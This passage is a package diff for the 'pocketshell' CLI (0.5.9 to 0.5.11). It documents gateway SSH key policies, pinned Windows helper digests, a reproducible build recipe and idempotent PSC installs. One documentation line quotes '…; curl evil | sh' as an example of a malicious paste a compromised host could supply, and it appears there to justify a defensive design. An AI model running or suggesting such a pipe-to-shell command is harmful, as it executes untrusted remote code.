- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/quse-0.0.17-gemini.provenance.txt +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/quse-0.0.9-usage.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/sshd_anchor/Dockerfile.from-unanchored-base +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/docker/link/e2e.sh +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/docker/link/e2e_client.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/docker/link/host_entry.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/docker/link/relay_entry.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fake_broker.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fixtures/aplexer/README.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fixtures/aplexer/snapshot-agent.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fixtures/aplexer/snapshot-crashed-start.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fixtures/aplexer/snapshot-liveness-mix.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fixtures/aplexer/snapshot-mid-create.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fixtures/aplexer/snapshot-post-kill-window.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fixtures/aplexer/snapshot-reported-state.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/fixtures/aplexer/snapshot.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/agent_harness.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/conftest.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/fake_gateway.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/fakeguardian/go.mod +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/fakeguardian/go.sum +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/fakeguardian/main.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/fakelink/main.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/fixtures/ordinary-v2-authority.schema.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/fixtures/task-object-authority.ps1 +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/gateway_keyblobs.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_bundled_hostkey.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_agent_firstuse.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_agent_install.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_agent_resume.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_agent_setup_cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_connect_e2e.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_devices.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_endpoint.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_endpoint_setup.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_enroll_login.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_exec_passthrough.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_helper_metadata.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_helper_resolution.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_helper_wheel.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_pins.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_proxy.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_service_endpoint.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_service_task_acl.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_service_task_object.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_ssh.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_ssh_key.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_ssh_key_e2e.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_status.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_user_agent.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_private_endpoint.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_agent_install_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_aplexer_probe_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_complete_runtime_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_endpoint_keys_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_gateway_e2e.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_gateway_service_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_gateway_user_agent_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_helper_execution.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_launcher_quiet_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_release_closure_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_service_private_read.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_spawn_entry_tree_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_sshcmd.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_verify_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_windows_winssh_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_winssh.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/unelevated.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/keys/conftest.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/keys/keyhelpers.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/keys/test_keys_cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/keys/test_keys_crypto.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/keys/test_keys_store.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/link/test_adversarial_security.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/link/test_cli_link.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/link/test_exec_semantics.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/link/test_loopback.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/link/test_protocol.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/link/test_resilience.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/link/test_workload_integrity.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/release/test_build_backend.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_agent_card_push.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_agent_log.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_agents.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_agents_kind.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_antigravity.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_aplexer_contract.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_aplexer_resolution.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_attachments.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_cards.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_cards_push_notify.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_cgroup_agents.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_daemon.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_daemon_fallback.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_daemon_wire.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_engines.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_env.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_github.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_hooks.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_logs.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_main.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_profiles.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_push.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_repos.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_serve.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_serve_http.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_session_cgroup_kernel_proof.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_session_enum.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_sessions.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_sessions_attach.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_sessions_create_routing.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_sessions_kill.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_sessions_mem_cap.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_sessions_rename.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_sessions_warnings.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_tree.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_usage.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_usage_capture.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_usage_reset.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_windows_startup.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/test_workspaces.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/conftest.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_app.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_autostart.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_endpoint_native.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_icons.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_model.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_private_replacement.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_repair.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_single_instance.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_status_client.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_supervisor.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_windows_sessions.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.5
|
|
2
2
|
Name: pocketshell
|
|
3
|
-
Version: 0.5.
|
|
3
|
+
Version: 0.5.11
|
|
4
4
|
Summary: Unified server-side Python utility for the PocketShell Android and desktop clients.
|
|
5
5
|
Project-URL: Homepage, https://github.com/PocketShell-io/pocketshell-cli
|
|
6
6
|
Project-URL: Issues, https://github.com/PocketShell-io/pocketshell-cli/issues
|
|
@@ -341,8 +341,11 @@ Refusals before anything is registered:
|
|
|
341
341
|
|
|
342
342
|
- **Helper trust.** The task runs the exe directly, so its sha256 must be on
|
|
343
343
|
the reviewed allow-list in `service_windows.ALLOWED_HELPER_SHA256` —
|
|
344
|
-
today
|
|
345
|
-
(
|
|
344
|
+
today `5672354b647d2ffddf7e69f753b90f1a031d9af7e57ca6d0c3ab002db28cedd8`
|
|
345
|
+
(reproducible build of pocketshell-gateway 70f5a4b, the first with
|
|
346
|
+
`gateway-auth`) and `f9582de6a3f635ec70e4daaf755479788f788d8d493c3ed1fd58812f555dabe1`
|
|
347
|
+
(private qualified build of cd7c6f6, kept so enrolled installs can be
|
|
348
|
+
repaired onto the newer build). The historical
|
|
346
349
|
8cbeb8f (`57f3a86e…`) and 771c9e1 (`f6e357d8…`) builds are refused by
|
|
347
350
|
name. Adding a build is a reviewed source change, never a flag or env var.
|
|
348
351
|
It must also answer `version --json` with protocol `pocketshell-tunnel-v1`.
|
|
@@ -447,6 +450,36 @@ client's strict pin parser — deliberately **not** a ready-to-run shell
|
|
|
447
450
|
command (a compromised host could otherwise hand you `…; curl evil | sh` to
|
|
448
451
|
paste). Compare the fingerprint on both ends.
|
|
449
452
|
|
|
453
|
+
### 5.1 Gateway auth policy: `pocketshell gateway auth`
|
|
454
|
+
|
|
455
|
+
Choose which authorized keys gateway SSH accepts on this host (key vault,
|
|
456
|
+
needs a `pocketshell-link` built from pocketshell-gateway `70f5a4b` or later):
|
|
457
|
+
|
|
458
|
+
```bash
|
|
459
|
+
pocketshell gateway auth show [--json]
|
|
460
|
+
pocketshell gateway auth set --policy host|managed|both [--keys-stdin] [--json] < vault-keys.pub
|
|
461
|
+
```
|
|
462
|
+
|
|
463
|
+
`host` means `~/.ssh/authorized_keys`, `managed` means a PocketShell-managed
|
|
464
|
+
file of vault public keys (`--keys-stdin` replaces it with authorized_keys
|
|
465
|
+
lines; empty input clears it), and `both` means both. Without a policy the
|
|
466
|
+
private endpoint config decides, as before. A change applies to the next
|
|
467
|
+
connection. Only the private exec endpoint can enforce `managed`. An invalid
|
|
468
|
+
policy refuses connections and never falls back to accepting more keys.
|
|
469
|
+
Private keys, key options and certificates are refused. Run it on the host, or
|
|
470
|
+
over an SSH session you already have. The gateway never relays it, so an
|
|
471
|
+
account token alone cannot add a login key. The helper contract is
|
|
472
|
+
documented in pocketshell-gateway `docs/tunnel.md`.
|
|
473
|
+
|
|
474
|
+
`pocketshell gateway enroll --gateway-auth-policy host|managed|both` sets the
|
|
475
|
+
policy right after a successful enrollment, so the helper checks it against the
|
|
476
|
+
enrolled endpoint. If that step is refused, the host stays enrolled with its
|
|
477
|
+
host keys and the command prints the retry. Without the flag nothing changes
|
|
478
|
+
(`host`). `managed`
|
|
479
|
+
is refused until vault public keys are installed, because no login would work,
|
|
480
|
+
and loopback `--ssh-host` endpoints accept only `host`. The tray shows and
|
|
481
|
+
changes the same setting (docs/tray.md).
|
|
482
|
+
|
|
450
483
|
## 6. Docker / local development gateways
|
|
451
484
|
|
|
452
485
|
Against a gateway running locally or in Docker (plain `ws://`, no TLS), the
|
|
@@ -96,6 +96,42 @@ Right-clicking (or left-clicking on Windows) the tray icon opens the context men
|
|
|
96
96
|
9. **`Start at login`**: Checkbox toggling autostart at user logon.
|
|
97
97
|
10. **`Quit tray`**: Closes the tray application (does **not** stop the background gateway service).
|
|
98
98
|
|
|
99
|
+
After **Sessions**, a **`Key policy: <policy>`** submenu shows which authorized
|
|
100
|
+
keys gateway SSH accepts on this host (key vault). See
|
|
101
|
+
[Gateway key policy](#gateway-key-policy).
|
|
102
|
+
|
|
103
|
+
### Gateway key policy
|
|
104
|
+
|
|
105
|
+
The submenu runs `pocketshell gateway auth show|set --json`, which wraps
|
|
106
|
+
`pocketshell-link gateway-auth` (pocketshell-gateway `70f5a4b` or later):
|
|
107
|
+
|
|
108
|
+
- **Host keys only**: `~/.ssh/authorized_keys`. This is the default, and an
|
|
109
|
+
enrollment without a policy keeps it.
|
|
110
|
+
- **Vault keys only (managed)**: only the vault public keys installed on this host.
|
|
111
|
+
- **Host keys and vault keys**: both.
|
|
112
|
+
|
|
113
|
+
**Vault keys on this host** lists each managed key as type, `SHA256:`
|
|
114
|
+
fingerprint and comment, never key bytes. Vault public keys normally reach the
|
|
115
|
+
host from the web keys page or a client ("Apply to host"). The tray can also
|
|
116
|
+
import them from the clipboard or a file as authorized_keys lines. An import
|
|
117
|
+
replaces the whole managed set after confirmation. Private keys (anything
|
|
118
|
+
containing `PRIVATE KEY`), key options and certificates are refused before
|
|
119
|
+
anything runs. The host never sees a private key or the vault passphrase.
|
|
120
|
+
|
|
121
|
+
Refusals happen before the change and are explained:
|
|
122
|
+
|
|
123
|
+
- **Windows** gateways use a loopback SSH endpoint, which can only accept the
|
|
124
|
+
host's own keys. The tray shows the policy as `host` and refuses vault-only,
|
|
125
|
+
combined and managed-key imports. Enforcing them needs the private exec
|
|
126
|
+
endpoint (Linux and macOS hosts).
|
|
127
|
+
- **Vault keys only** with no managed keys installed would refuse every login,
|
|
128
|
+
so import keys first, or choose **Host keys and vault keys**.
|
|
129
|
+
- Removing every key while the policy is vault-only is refused for the same reason.
|
|
130
|
+
|
|
131
|
+
The helper validates everything again and fails closed. A change applies to the
|
|
132
|
+
next connection. The gateway never relays this setting, so an account token
|
|
133
|
+
alone cannot add a login key.
|
|
134
|
+
|
|
99
135
|
---
|
|
100
136
|
|
|
101
137
|
## 6. Notifications
|
|
@@ -196,11 +196,10 @@ state, the helper's `version`/`show`) uses `CREATE_NO_WINDOW`. Verified on
|
|
|
196
196
|
the windows-latest CI runner against the real Task Scheduler with a fake
|
|
197
197
|
helper (`tests/gateway/test_windows_gateway_service_native.py`).
|
|
198
198
|
|
|
199
|
-
The CLI's own `gateway run/show/enroll` wrappers
|
|
200
|
-
helper
|
|
201
|
-
allow-list (`service_windows.ALLOWED_HELPER_SHA256
|
|
202
|
-
cd7c6f6 build `f9582de6…dabe1
|
|
203
|
-
that file's owner.
|
|
199
|
+
The CLI's own `gateway run/show/enroll/auth` wrappers pin one digest in
|
|
200
|
+
`helper.py` (the 70f5a4b build `5672354b…cedd8`); the service path has its own
|
|
201
|
+
allow-list (`service_windows.ALLOWED_HELPER_SHA256`: that build plus the
|
|
202
|
+
qualified cd7c6f6 build `f9582de6…dabe1`, kept for repairing enrolled installs).
|
|
204
203
|
|
|
205
204
|
## Pending change in a fleet-owned file
|
|
206
205
|
|
|
@@ -2,8 +2,8 @@
|
|
|
2
2
|
|
|
3
3
|
Account/gateway on Windows requires the explicitly pinned private native
|
|
4
4
|
`pocketshell-link` build from gateway source
|
|
5
|
-
|
|
6
|
-
|
|
5
|
+
70f5a4b9e8ee7461a7eedd8ebcfa18aefab90b9e, SHA256
|
|
6
|
+
5672354b647d2ffddf7e69f753b90f1a031d9af7e57ca6d0c3ab002db28cedd8.
|
|
7
7
|
Set `POCKETSHELL_GATEWAY_HELPER` to its absolute .exe path in the protected
|
|
8
8
|
private runtime. Windows does not discover a helper through PATH or public
|
|
9
9
|
platform wheels. The digest gate establishes this reviewed artifact; the
|
|
@@ -3,7 +3,8 @@
|
|
|
3
3
|
The Windows x64 installer belongs to `pocketshell-cli`: the tray uses the CLI's
|
|
4
4
|
gateway status, enrollment and owner-bound guardian instead of embedding a
|
|
5
5
|
second gateway implementation in Desktop. It bundles Python, Pillow, pystray,
|
|
6
|
-
the reviewed gateway helper
|
|
6
|
+
the reviewed gateway helper (pocketshell-gateway 70f5a4b, with `gateway-auth`;
|
|
7
|
+
`build_tray_installer.py --helper` swaps it into the BASE closure), BOTH `a.exe` and `aplexer.exe`, the native aplexer
|
|
7
8
|
client (0.1.13, including `rpc --stdio` protocols 1 and 2), the private OpenSSH endpoint and Git Bash. No Python, uv, Git or aplexer
|
|
8
9
|
installation is required on the destination, including win35.
|
|
9
10
|
The installer also includes the standalone PSC Windows x64 package (Node,
|
|
@@ -150,12 +151,38 @@ The portable client input is Microsoft's official Win32-OpenSSH release
|
|
|
150
151
|
`23f50f3458c4c5d0b12217c6a5ddfde0137210a30fa870e98b29827f7b43aba5`.
|
|
151
152
|
The builder copies only `ssh.exe` and license notices, validates Microsoft's
|
|
152
153
|
signature, and records the archive and executable digests. PSC validates the
|
|
153
|
-
signature again on the installed copy.
|
|
154
|
-
|
|
155
|
-
|
|
154
|
+
signature again on the installed copy. The package's own `install.ps1` is
|
|
155
|
+
replaced by the tray's `scripts/release/psc-install.ps1` (the builder pins the
|
|
156
|
+
reviewed upstream script and recatalogues the package). It uses the supplied
|
|
157
|
+
client and keeps existing inbox-client bindings and account state.
|
|
156
158
|
No system SSH service, feature, configuration or firewall rule is changed.
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
159
|
+
|
|
160
|
+
Re-running any installer over any existing PSC install succeeds, whether it is
|
|
161
|
+
the same version, older, newer or partly broken:
|
|
162
|
+
|
|
163
|
+
- PSC trees are content-addressed:
|
|
164
|
+
`%LOCALAPPDATA%\PocketShell\psc\<version>-gateway-ssh10-<content id>`. The
|
|
165
|
+
content id is a digest of every installed file and the bundled `ssh.exe`
|
|
166
|
+
(`installer-receipt.json` records it as `psc.contentId`).
|
|
167
|
+
- A tree that verifies completely (inventory, digests, `ssh.exe`, bindings) is
|
|
168
|
+
reused read-only.
|
|
169
|
+
- Anything else is built in a private staging directory and published with
|
|
170
|
+
one directory rename. A broken tree is moved aside first. If it is in use, the
|
|
171
|
+
new tree gets a unique sibling name.
|
|
172
|
+
- The `bin\psc.cmd` shim is switched last, with an atomic file replace, after
|
|
173
|
+
the new tree passed the native security preflight, `--version` and `hosts`.
|
|
174
|
+
- Bindings use the OS folder paths, not the caller's environment, so an
|
|
175
|
+
install from an SSH session without `SystemRoot` works.
|
|
176
|
+
- Superseded trees from this installer are removed, except the active tree
|
|
177
|
+
and the previously active one. Locked leftovers only log a warning.
|
|
178
|
+
|
|
179
|
+
If this package cannot be activated but the previous PSC still works, the
|
|
180
|
+
installer exits 3: the previous PSC stays active and `psc-install.log` gets a
|
|
181
|
+
warning, with no dialog. Only when no working PSC exists does the installer
|
|
182
|
+
report a PSC failure (the gateway still installs). `psc-install.log` ends with
|
|
183
|
+
`PSC installer exit code: N`. The release workflow runs real installers in this
|
|
184
|
+
order: previous release, new, new again, new over a broken tree, previous over
|
|
185
|
+
new, new again (`tests/release/test_windows_psc_upgrade_native.py`).
|
|
186
|
+
Account, pins and hosts stay in separate state
|
|
160
187
|
directories. Gateway uninstall retains the independent PSC install and PATH
|
|
161
188
|
shim, just as it retains gateway private state.
|
|
@@ -11,7 +11,7 @@ name = "pocketshell"
|
|
|
11
11
|
# since the extraction (PocketShell-io/pocketshell#2643): the first
|
|
12
12
|
# self-governed release is 0.5.5, continuing from the last app-coupled
|
|
13
13
|
# release 0.5.4 so `uv tool upgrade pocketshell` stays monotonic.
|
|
14
|
-
version = "0.5.
|
|
14
|
+
version = "0.5.11"
|
|
15
15
|
description = "Unified server-side Python utility for the PocketShell Android and desktop clients."
|
|
16
16
|
readme = "README.md"
|
|
17
17
|
requires-python = ">=3.11"
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
# pocketshell-link 70f5a4b Windows helper (key vault)
|
|
2
|
+
|
|
3
|
+
`pocketshell-link-windows-amd64.exe` is the Windows x64 host helper built from
|
|
4
|
+
pocketshell-gateway `70f5a4b9e8ee7461a7eedd8ebcfa18aefab90b9e` ("Add per-host
|
|
5
|
+
gateway auth policy to the host agent"), the first build with
|
|
6
|
+
`gateway-auth show|set`. sha256
|
|
7
|
+
`5672354b647d2ffddf7e69f753b90f1a031d9af7e57ca6d0c3ab002db28cedd8`,
|
|
8
|
+
8645120 bytes. `version --json` reports
|
|
9
|
+
`{"version":"git-70f5a4b9e8ee","protocol":"pocketshell-tunnel-v1","commit":"70f5a4b9e8ee7461a7eedd8ebcfa18aefab90b9e"}`.
|
|
10
|
+
|
|
11
|
+
Recipe (reproducible): clean checkout of that commit, Go 1.27.2,
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -trimpath \
|
|
15
|
+
-ldflags "-s -w -X main.version=git-70f5a4b9e8ee -X main.commit=70f5a4b9e8ee7461a7eedd8ebcfa18aefab90b9e" \
|
|
16
|
+
./cmd/pocketshell-link
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
Two independent builds (key-vault W5 in pocketshell-gateway, W8 here)
|
|
20
|
+
produced identical bytes. The same recipe on cd7c6f6a0c7b reproduces the
|
|
21
|
+
previously allow-listed `f9582de6…dabe1`.
|
|
22
|
+
|
|
23
|
+
Pins: `service_windows.ALLOWED_HELPER_SHA256` (next to `f9582de6…`, which
|
|
24
|
+
stays so enrolled installs can be validated and repaired onto this build) and
|
|
25
|
+
`helper.WINDOWS_HELPER_SHA256`. `build_tray_installer.py --helper` replaces the
|
|
26
|
+
BASE closure's helper with this file after checking the digest.
|
|
27
|
+
|
|
28
|
+
Publication review (2026-10-15, `strings -n 6`, 21667 strings): no local or
|
|
29
|
+
user paths (`-trimpath`), no tokens, keys or credentials. Hosts embedded:
|
|
30
|
+
`gateway.pocketshell.io` (public gateway), `accounts.google.com`, the
|
|
31
|
+
production broker issuer `a7sota2qic.execute-api.eu-west-1.amazonaws.com`
|
|
32
|
+
(already public in this repo, `src/pocketshell/account/config.py`), plus Go
|
|
33
|
+
standard library references. Go symbol names include the private
|
|
34
|
+
`PocketShell-io/pocketshell-gateway` module paths, as in every helper already
|
|
35
|
+
shipped inside the public installer. Numeric dotted strings are ASN.1 OIDs.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
5672354b647d2ffddf7e69f753b90f1a031d9af7e57ca6d0c3ab002db28cedd8 pocketshell-link-windows-amd64.exe
|
|
Binary file
|
|
@@ -14,7 +14,7 @@ are the same on every build host and at every install location:
|
|
|
14
14
|
<release>/guardian/guardian.py role guardian (6cf7ae85…)
|
|
15
15
|
<release>/guardian/native_api.py role native-api (cab601e2…)
|
|
16
16
|
<release>/guardian/policy.py role policy (e92bbe02…)
|
|
17
|
-
<release>/bin/pocketshell-link.exe role helper (the reviewed helper;
|
|
17
|
+
<release>/bin/pocketshell-link.exe role helper (the reviewed helper; 5672354b… for 70f5a4b)
|
|
18
18
|
|
|
19
19
|
Usage:
|
|
20
20
|
build_closure.py --out DIR --helper EXE --helper-sha256 HEX --helper-version V \
|
|
@@ -203,29 +203,50 @@ def stage_ssh_client(archive_path, expected_sha256, destination):
|
|
|
203
203
|
return {"zipSHA256": expected_sha256, "sshSHA256": digest(destination / "ssh.exe")}
|
|
204
204
|
|
|
205
205
|
|
|
206
|
-
def
|
|
207
|
-
"""
|
|
206
|
+
def psc_content_id(manifest, ssh_sha256):
|
|
207
|
+
"""Short identity of what install.ps1 writes into a version tree.
|
|
208
|
+
|
|
209
|
+
The upstream installer treats an existing `<version>` tree as the same
|
|
210
|
+
package and refuses any byte difference ("Existing PSC version differs;
|
|
211
|
+
use a fresh version"). Rebuilt packages keep their version string, so
|
|
212
|
+
the tree name carries this digest of every installed file plus the
|
|
213
|
+
bundled ssh.exe: changed content installs side by side into a fresh
|
|
214
|
+
tree and the bin shim switches to it, while an identical reinstall
|
|
215
|
+
still maps onto its existing tree.
|
|
216
|
+
"""
|
|
217
|
+
rows = sorted((name, sha) for name, sha in manifest["files"].items() if name != "install.ps1")
|
|
218
|
+
material = json.dumps({"files": rows, "ssh": ssh_sha256}, separators=(",", ":")).encode()
|
|
219
|
+
return hashlib.sha256(material).hexdigest()[:12]
|
|
220
|
+
|
|
221
|
+
|
|
222
|
+
